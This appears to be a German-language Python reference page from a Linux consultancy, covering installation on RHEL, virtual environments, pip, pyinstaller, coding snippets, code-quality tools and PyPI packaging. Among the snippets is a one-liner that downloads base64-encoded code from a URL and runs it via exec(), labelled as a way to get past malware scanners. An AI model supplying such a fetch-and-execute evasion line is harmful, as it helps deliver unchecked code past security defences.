Python

Siehe auch

Konventionen

  • var_name_lowercase

  • function_name_lowercase()

  • CONST_UPPERCASE

  • ClassMixedCase

Links

Installation von Python 2 vs Python 3

Zu einer sauberen Python-Umgebung gehören

  • der Python-Interpreter

  • die Möglichkeit, pro Projekt virtuelle Environments zu nutzen (Installation von Python-Paketen per yum/dnf ist nicht nötig)

  • der Paket-Manager pip, der die auf PyPi veröffentlichten Pakete installiert (auf die Alternative easy_manager wird nicht eingegangen)

Tipp

Warum ein VirtualEnv?

Das Ausführen von pip als ‚root‘-Benutzer kann zu fehlerhaften Berechtigungen und Konflikten mit dem Paket-Manager führen. Es wird empfohlen, stattdessen eine virtuelle Umgebung zu verwenden.

Wenn keine virtuelle Umgebung verwendet oder ein Modul ausserhalb einer virtuellen Umgebung benötigt wird, pip --user verwenden, um Module im Home-Verzeichnis zu installieren.

Python 2 auf RHEL 7

  • Python 2.7 ist vorinstalliert

  • venv: yum -y install python-virtualenv

  • pip: theoretisch im EPEL-Repo vorhanden; siehe aber besser Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 7 aus den Standard-Repos (funktioniert Stand 2023-03-31 nicht auf einem echten RHEL 7)

  • Python 3 ist nicht vorinstalliert

  • Python: yum -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert

Neueres Python 3 für RHEL 7 aus den SCL

sudo yum -y install centos-release-scl
sudo yum -y install rh-python38 rh-python38-python-devel
scl enable rh-python38 bash

Python 2 auf RHEL 8

  • Python 2 ist nicht vorinstalliert

  • Python: dnf -y install python2

  • venv: dnf -y install python2-virtualenv

  • pip: wird mit Python 2 mitinstalliert (pip2). Kein pip install --upgrade pip ausführen, siehe Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 8

  • Python 3 ist nicht vorinstalliert

  • Python: dnf -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert (pip3)

Tipp

Ein virtuelles Environment enthält

  • Shell-Skripte für Bash, Korn-Shell, Fish und PowerShell, um Umgebungsvariablen wie Pfadangaben richtig zu setzen

  • Eine venv setzt python und pip passend und genau beispielsweise auf python2 und pip2

  • Red Hat empfiehlt, auf System-Ebene ausserhalb einer Virtualenv unbedingt den „vollen“ Befehl zu verwenden, also entweder python2 oder python3, genau so wie pip2 oder pip3.

venv, pip und Python 2

pip gehört nicht zum Python-Projekt und unterstützt Python 2 nicht mehr. Ein pip install --upgrade pip wird pip daher zum Umgang mit Python Version 3 verdonnern. Um das letzte aktuelle pip für Python 2 zu erhalten, installiert man es in jeder Python 2-venv wie folgt:

# make your virtualenv folder with python2
virtualenv-2 --python=python2 my-venv
source my-venv/bin/activate
pip --version

# now install your python2 packages as usual
pip install mypackage

venv, pip und Python 3

Bemerkung

Hinweise und Advisories in https://github.com/pypa/pip/issues/5599 zum Umgang mit pip beachten!

# create my venv, and give the virtual environment access to the global site-packages
python3 -m venv --system-site-packages my-venv

# activate my venv
source my-venv/bin/activate

# upgrade pip in my venv
pip install --upgrade pip

# install any tool in my venv
pip install glances
pip install "borgbackup==1.1.11"

Tipp

Wer die letzte verfügbare pip-Version für Python2 einsetzen möchte, diese aber nicht über den Paketmanager erhält, kann diese in der venv wie folgt aktualisieren:

# get and install latest oldest pip for python2 (20.3.4)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python get-pip.py
AssertionError: msgpack .dist-info directory not found

Cache ist defekt. Lösung: rm -rf ~/.cache/pip/. Zusätzlich kann man dem pip install --upgrade-Befehl den --no-cache-dir-Parameter anhängen.

Python-Interpreter und -Compiler

Interpreter:

  • CPython

  • PyPy

Compiler (erstellt Executables, also .so oder .exe):

Tipp

Wer auf Windows compiliert und den Fehler Cannot open include file: 'io.h': No such file or directory erhält, muss

  • einen C-Compiler installieren (pip benötigt einfach einen)

  • ein Windows SDK installieren

MSVC für Python-Compile auf Windows installieren geht so:

  • https://visualstudio.microsoft.com/downloads/ öffnen.

  • Tools for Visual Studio > Build Tools for Visual Studio 20xx > Download

  • Die heruntergeladene Datei starten.

  • Tab „Workloads“:

    • „Visual Studio extension development“ aktivieren, rechts „MSVC v143 - VS 2022 …“ hinzufügen

    • „Desktop development with C++““ aktivieren, ältestes „Windows 10 SDK“ hinzufügen

An den zig GB Download führt kein Weg vorbei, wenn man auf MSVC statt beispielsweise gcc setzen möchte.

Frameworks

  • Django

  • Flask

  • Flask mit Flask-RESTPlus für REST-APIs

  • Quart (kompatibel zu Flask, basiert aber auf Asyncio)

Webserver mit Python

Hilft zum Beispiel, um mal schnell die /root/anaconda-ks.cfg per HTTP anzubieten. index.html-Dateien werden automatisch als DirectoryIndex verwendet.

python2 -m SimpleHTTPServer 8080 python3 -m http.server -b 0.0.0.0 8080

pyinstaller

Python-Scripte in Executables packen, ohne auf dem Zielsystem eine Python-Runtime vorhalten zu müssen. Damit die eingepackten Bibliotheken möglichst überall funktionieren, sollte der Build auf einem nicht zu neuen OS passieren, z.B. RHEL 7. Damit laufen die Executables auch auf Ubuntu 20+ oder Fedora 35+. Wird dagegen auf Fedora 35+ oder Ubuntu 20+ gebaut, starten die Executables auf RHEL 8 nicht, da auf RHEL tiefliegende Systembibliotheken für GCC in dem Fall um eine Version zu alt sind (ergibt beispielsweise Fehler wie: dlopen: /lib64/libm.so.6: version `GLIBC_2.29' not found).

dnf -y install glibc binutils
dnf -y install python39 python39-devel

python3 -m venv --system-site-packages pyinstaller
source pyinstaller/bin/activate

pip install --upgrade pip
pip install pyinstaller

# install any libraries specific for your project, e.g.:
pip install BeautifulSoup4 lxml psutil PyMySQL smbprotocol vici

pyinstaller \
    --clean \
    --distpath /tmp/dist \
    --workpath /tmp/build \
    --specpath /tmp/spec \
    --noconfirm \
    --noupx \
    --onedir \
    /path/to/my/script

Troubleshooting

Beim Laufenlassen des Executables: importlib.metadata.PackageNotFoundError: python-keystoneclient

pyinstaller zusätzlich --copy-metadata python-keystoneclient mitgeben.

Beim Laufenlassen des Executables: FileNotFoundError: [Errno 2] No such file or directory: '/tmp/dist/check-plugins/openstack-nova-list/_internal/os_service_types/data/service-types.json'

pyinstaller zusätzlich --collect-data os_service_types mitgeben.

Coding

Variablen

String über mehrere Zeilen:

st = ('first line {} '
     'second line {}').format(1, 2)

Längere Textpassage:

st =  = """
Lorem ipsum.
Lorem ipsum.
"""

Prüfen auf Typ:

if isinstance(var, dict):

„if x is not y“ oder „if x not is y“? Spielt keine Rolle, am lesbarsten aber ist:

x is not y

Alle Elemente einer Liste als einzelne Argumente in eine Funktion:

fruits = ['lemon', 'pear', 'watermelon', 'tomato']
myfunc(*fruits)

Dictionary-Elemente an Funktion übergeben:

mysql_connection = {
    'user':               args.USERNAME,
    'password':           args.PASSWORD,
    'host':               args.HOSTNAME,
    'database':           args.DATABASE,
    'raise_on_warnings':  True,
}
cnx = mysql.connector.connect(**mysql_connection)

Schleifen

# list (array)
# value only:
for value in data:
# index only:
for i in range(len(data)):
# value and index:
for i, value in enumerate(data):

# dict (associative array)
for key in data.keys():
for value in data.values():
for key, value in data.items():

Exception Handling

Beispiele:

  • except:: No exception type(s) specified (bare-except)

  • except Exception as e:: Catching too general exception Exception (broad-except)

  • except ValueError:: int('a')

  • except IndexError:: a[1]

  • except OSError:: sehr allgmeiner Fehler der os-Class, bei z.B. os.listdir('/')

  • except FileNotFoundError:: spezifischer Fehler der os-Class, bei z.B. os.listdir('/')

  • except KeyError, AttributeError:: Mehrere Exceptions auf einmal abhandeln

Nützliche Code-Schnipsel

Dateipfade richtig zusammenbauen:

os.path.join(path, filename)

Import von Modulen:

try:
    import psutil # pylint: disable=C0413
    HAVE_PSUTIL = True
except ImportError:
    HAVE_PSUTIL = False

Python-Code remote laden und an Malware-Scannern vorbei ausführen:

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-code/py.b64')
    ).decode())"

Prozentausgabe auf einer Line:

Python 3
# progress bar
if count == 0:
    increase = 100
else:
    increase = 100 / count
progress = 0


loop:
    # do something
    print('Status: ', round(progress), '%       ', end='\r')
    progress += increase

Kopiere CSV-Datei 1 selektiv nach CSV-Datei 2:

import csv

with open('/tmp/tarifpositionen-20191023.csv', 'r') as csvin, open('/tmp/testout.csv', 'w') as csvout:
    csvin = csv.reader(csvin, delimiter=',', quotechar='"')
    csvout = csv.writer(csvout, delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
    cnt = 0
    for row in csvin:
        cnt += 1
        if row[0] != '129722558':
            csvout.writerow(row)
    print(cnt)

cmd1 | cmd2 | cmd3 in Python - Replacing shell pipeline:

import subprocess

p1 = subprocess.Popen(["dmesg"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep", "too"], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen(["grep", "2500"], stdin=p2.stdout, stdout=subprocess.PIPE)
p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
p2.stdout.close()  # Allow p2 to receive a SIGPIPE if p3 exits.
output = p3.communicate()[0]

Encoding, Decoding, Unicode, UTF-8

Strings:

  • Python 3:
    my_bytes = b"Under my Umbrella" (Class „bytes“)
    my_string = "Under my \u2602" (Class „str“)
  • Python 2 - str kann Text und Bytes beinhalten:
    my_string = "Under my Umbrella" (Type „str“, stores Bytes)
    my_unicode = u"Under my \u2602" (Type „unicode“, stores Code-Points)

Encode und Decode unter Python 3:

  • string.encode() == lib.txt3.to_bytes()

  • bytes.decode() == lib.txt3.to_text()

  • Keine implizite Dekodierung mehr. Ein Unicode-String ist ungleich einem Byte-String, selbst wenn beide den gleichen ASCII-Text beinhalten.

Bemerkung

Python 2: unicode.encode() ergibt Bytes, bytes.decode() ergibt Unicode. len(unicode) zählt die Anzahl der Zeichen, len(bytes) zählt die Anzahl der Bytes. Output ist immer in Bytes. Python 2 versucht automatisch, Byte-Strings zu decodieren. Der format()-Befehl liefert „str“, wenn ihm kein Unicode-String übergeben wird.

Umgang damit:

  1. Input in das eigene Programm: Bytes

  2. So früh wie möglich in Unicode dekodieren.

  3. Mit Unicode arbeiten.

  4. So spät wie möglich in Bytes enkodieren.

  5. Output: Bytes

  6. Debugging: print type(myvar), print repr(myvar)

Siehe auch:

Code Qualität

Syntax-Check:

python -m py_compile script.py

Automatische Code-Formatierung:

dnf install python3-black
black --line-length 100 script.py

Struktur prüfen: pylint. Brauchbare pylint.rc: https://google.github.io/styleguide/pylintrc

pylint --disable=C0103,C0114,C0116 script.py

Auf Sicherheitslücken prüfen: bandit

pip install bandit
bandit --recursive my-script

Pre-commit Hooks für Git:

Ausführungszeiten messen

import time

start = time.time()
print("hello")
end = time.time()
print(end - start)

pydoc

pydoc -b ./mymodule.py
  • ohne Parameter: öffnet eine Dokumentation im Terminal

  • -w: speichert die Dokumentation als html

  • -k <Begriff>: nach einem Begriff suchen

  • -p <Port>: startet lokalen HTTP Server

  • -n <hostname>: der HTTP Server hört auf den Namen

  • -b: startet den Server und öffnet die Seite im Browser

Module

Liste an Modulen:

  • MySQL/MariaDB: MySQLdb (wird auch in Ansible-Modulen verwendet)

Modul B importieren, wenn Modul A nicht verfügbar ist:

try:
    # https://pymysql.readthedocs.io/en/latest/
    import pymysql as mysql_driver
    _mysql_cursor_param = 'cursor'
except ImportError:
    try:
        import MySQLdb as mysql_driver
        import MySQLdb.cursors
        _mysql_cursor_param = 'cursorclass'
    except ImportError:
        mysql_driver = None

BeautifulSoup

Verarbeitung von Auszeichnungssprachen wie HTML und XML.

https://www.crummy.com/software/BeautifulSoup/bs4/doc/

from bs4 import BeautifulSoup
import re

with open("lfs.html") as fp:
    soup = BeautifulSoup(fp, 'html.parser')

for tag in soup.find_all():
    try:
        if 'sect2' in tag.attrs['class']:
            if tag.string:
                print('\n# {}\n'.format(tag.string.strip()))
    except:
        continue

    try:
        if tag.name == 'kbd':
            print('{}\n'.format(tag.string.strip()))
    except:
        continue

os


>>> import os
    >>> os.ctermid()
    '/dev/tty'
    >>> os.curdir
    '.'
    >>> os.defpath
    ':/bin:/usr/bin'
    >>> os.devnull
    '/dev/null'
    >>> os.environ
    {'LC_NUMERIC': 'de_CH.UTF-8', 'PROCESSES': '117', 'LESSOPEN': '||/usr/bin/lesspipe.sh %s', 'SSH_CLIENT': '1.2.3.4 57484 22', 'SELINUX_USE_CURRENT_RANGE': '', 'LOGNAME': 'root', 'USER': 'root', 'ZOMBIES': '0', 'HOME': '/root', 'LC_PAPER': 'de_CH.UTF-8', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin', 'PS1': '[\\[\\033[1;32m\\]$(date +%H:%M:%S) \\u@\\h \\w\\[\\033[0m\\]]$ ', 'LANG': 'en_US.UTF-8', 'TERM': 'xterm-256color', 'SHELL': '/bin/bash', 'LC_MONETARY': 'de_CH.UTF-8', 'HISTSIZE': '100000', 'EDITOR': 'nano', 'XMODIFIERS': '@im=ibus', 'XDG_RUNTIME_DIR': '/run/user/0', 'SHLVL': '1', 'SELINUX_ROLE_REQUESTED': '', 'XDG_SESSION_ID': '1851', '_': '/usr/bin/python2', 'SSH_CONNECTION': '1.2.3.4 57484 192.168.1.10 22', 'SSH_TTY': '/dev/pts/0', 'HOSTNAME': 'myhostname', 'SELINUX_LEVEL_REQUESTED': '', 'HISTCONTROL': 'ignoredups', 'LC_MEASUREMENT': 'de_CH.UTF-8', 'PWD': '/root', 'MAIL': '/var/spool/mail/root', 'LC_TIME': 'de_CH.UTF-8', 'LS_COLORS': 'rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:'}
    >>> os.getcwd()
    '/root'
    >>> os.getegid()
    0
    >>> os.geteuid()
    0
    >>> os.getgid()
    0
    >>> os.getgroups()
    [0]
    >>> os.getloadavg()
    (0.16, 0.26, 0.15)
    >>> os.getlogin()
    'root'
    >>> os.getpgrp()
    18108
    >>> os.getpid()
    18108
    >>> os.getppid()
    18031
    >>> os.getresgid()
    (0, 0, 0)
    >>> os.getresuid()
    (0, 0, 0)
    >>> os.getuid()
    0
    >>> os.linesep
    '\n'
    >>> os.name
    'posix'
    >>> os.pardir
    '..'
    >>> os.pathconf_names
    {'PC_MAX_INPUT': 2, 'PC_VDISABLE': 8, 'PC_SYNC_IO': 9, 'PC_SOCK_MAXBUF': 12, 'PC_NAME_MAX': 3, 'PC_MAX_CANON': 1, 'PC_PRIO_IO': 11, 'PC_CHOWN_RESTRICTED': 6, 'PC_ASYNC_IO': 10, 'PC_NO_TRUNC': 7, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_PIPE_BUF': 5, 'PC_PATH_MAX': 4}
    >>> os.pathsep
    ':'
    >>> os.pipe()
    (3, 4)
    >>> os.sep
    '/'
    >>> os.times()
    (0.0, 0.0, 0.0, 0.0, 5146806.87)
    >>> os.uname()
    ('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64')

platform

>>> import platform
>>> platform.machine()
'x86_64'
>>> platform.node()
'myhostname'
>>> platform.processor()
'x86_64'
>>> platform.python_branch()
''
>>> platform.python_build()
('default', 'Nov 16 2020 22:23:17')
>>> platform.python_compiler()
'GCC 4.8.5 20150623 (Red Hat 4.8.5-44)'
>>> platform.python_implementation()
'CPython'
>>> platform.python_revision()
''
>>> platform.python_version()
'2.7.5'
>>> platform.python_version_tuple()
('2', '7', '5')
>>> platform.release()
'3.10.0-1160.31.1.el7.x86_64'
>>> platform.system()
'Linux'
>>> platform.uname()
('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64', 'x86_64')
>>> platform.version()
'#1 SMP Thu Jun 10 13:32:12 UTC 2021'

selenium

from selenium import webdriver
import time

number_of_browsers = 5
time_to_refresh = 20
url = 'https://www.example.com'
drivers = []

for i in range(number_of_browsers):
    drivers.append(webdriver.Chrome(executable_path = "~/.ZAP/webdriver/linux/64/chromedriver"))
    drivers[i].get(url)
while True:
    time.sleep(time_to_refresh)
    for i in range(number_of_browsers):
        drivers[i].refresh()

Das Klassenkonzept

#!/usr/bin/env python3
# -*- encoding: utf-8; py-indent-offset: 4 -*-
#
# Author:  Linuxfabrik GmbH, Zurich, Switzerland
# Contact: info (at) linuxfabrik (dot) ch
#          https://www.linuxfabrik.ch/
# License: The Unlicense, see LICENSE file.

__author__ = 'Linuxfabrik GmbH, Zurich/Switzerland'
__version__ = '2020122901'


class bottle:

    # attributes, also usable in sub-classes, except private ones
    material_public     = 'Plastic (public)'
    _material_protected = 'Plastic (protected)'
    __material_private  = 'Plastic (private)'

    # constructor
    def __init__(self, color):
        self.color_public =  '{} (public)'.format(color)
        self._color_protected = '{} (protected)'.format(color)
        self.__color_private = '{} (private)'.format(color)

    # methods
    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))
        print('{}'.format(self.__material_private))

        print('{}'.format(self.color_public))
        print('{}'.format(self._color_protected))
        print('{}'.format(self.__color_private))


class big_bottle(bottle):

    # constructor
    def __init__(self, color):
        # you will lose all attributes defined in __init__ from class bottle
        # if you define a new constructor for this class
        pass

    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__material_private))

        # would be accessible if you don't define a new constructor here
        # print('{}'.format(self.color_public))
        # print('{}'.format(self._color_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__color_private))


# main
beer = bottle(color='brown')

beer.material_public = 'Glass (public)'
beer._material_protected = 'Glass (protected)'
beer.__material_private = 'Glass (private)'

beer.take()

# Output:
# Taking...
# Glass (public)
# Glass (protected)
# Plastic (private)
# brown (public)
# brown (protected)
# brown (private)

water = big_bottle('blue')

water.take()

# Output:
# Taking...
# Plastic (public)
# Plastic (protected)

GUI, TUI

GUI-Bibliotheken

Gtk
Qt
  • PyQt: Interface zu QT

  • PySide2: Interface zu QT

    • /usr/local/lib64/python3.9/site-packages/PySide2/examples

Links zur Erstellung von Dialogen mit Qt Designer und Python:

Tk
  • TKinter: Interface zu Tcl/Tk (Python Standard GUI - für einfachste Dinge)

TUI-Anwendung mit SnackScreen

#!/usr/bin/env python

from snack import *
screen = SnackScreen()

lbox = Listbox(height = 5, returnExit = 1)
lbox.append("Fedora", 1)
lbox.append("Red Hat Enterprise Linux", 2)
lbox.append("Ubuntu", 3)
lbox.append("Slackware", 4)
lbox.append("RHEL", 5)

grid = GridForm(screen, "Select your favorite distro", 1, 1)
grid.add(lbox, 0, 0)
result = grid.runOnce()

screen.finish()

#print "listbox:", lbox.current()
if lbox.current() == 1:
   print "Selected Fedora!"
elif lbox.current() == 2:
   print "Selected Red Hat Enterprise Linux!"
elif lbox.current() == 3:
   print "Selected Ubuntu!"
elif lbox.current() == 4:
   print "Selected Slackware!"
elif lbox.current() == 5:
   print "Selected RHEL!"

Die Vorbilder liegen auf RHEL 7 nach der Installation mit yum list system-config* im Verzeichnis /usr/share/system-config-* - und zwar im Python-Quelltext. Die Dokumentation zu SnackScreen findet sich in der Datei /usr/lib64/python2.7/site-packages/snack.py. SnackScreen selbst basiert auf newt, einer in C-geschriebenen Window- und Widget-Library von Red Hat. Deren Doku erhält man nach einem yum -y install newt-devel; die Datei /usr/share/doc/newt-devel/tutorial.txt bietet einen umfassenden Einblick.

PyGTK und Glade

  • ComboxBox: auf Basis eines Models; die ID sollte vom Typ String sein.

  • ComboBoxText: reine Auflistung von Text-Einträgen, hinter denen eine str(ID) steht. Benötigt kein Model, bietet keine Text-Eingabemöglichkeit.

  • ComboBoxEntry: eine ComboBox mit Text-Eingabefeld gab es in GTK 2 noch, aber nicht mehr in GTK 3. In GTK 3 eine „ComboBox“ mit Eigenschaft „Has Entry“ wählen.

Siehe:

PyPI

Englisch ausgesprochen „pie pea eye“.

Packaging und Veröffentlichung auf PyPI - so geht’s am Beispiel der Linuxfabrik libs.

Venv erstellen:

python3 -m venv ~/venvs/lib
source ~/venvs/lib/bin/activate

pip3 install --upgrade pip wheel
pip3 install --upgrade build twine setuptools

pyproject.toml File erstellen, als Beispiel siehe Linuxfabrik libs.

Package bauen:

python -m build

# check that your package description will render properly on PyPI
twine check dist/*

Auf https://test.pypi.org API-Token erstellen und Twine konfigurieren:

$HOME/.pypirc
[testpypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117

Hochladen auf PyPI Test-Instanz:

twine upload --repository testpypi dist/*

Angaben prüfen: https://test.pypi.org/project/linuxfabrik-lib/.

Tipp

Die Installation des hochgeladenen Pakets von Test-PyPI kann man prüfen,

  1. wenn im Virtual Environment die notwendigen Requirements für das eigene Projekt aus dem produktiven PyPI mit pip install --requirement requirements.txt installiert sind

  2. und man anschliessend pip3 install --index-url https://test.pypi.org/simple/ --upgrade linuxfabrik-lib aufruft.

Für die Installation vom produktiven pypi.org genügt dagegen ein pip3 install linuxfabrik-lib.

Auf https://pypi.org API-Token erstellen und Twine konfigurieren:

$HOME/.pypirc
[pypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117

Hochladen auf Prod:

twine upload dist/*

Built on 2024-11-18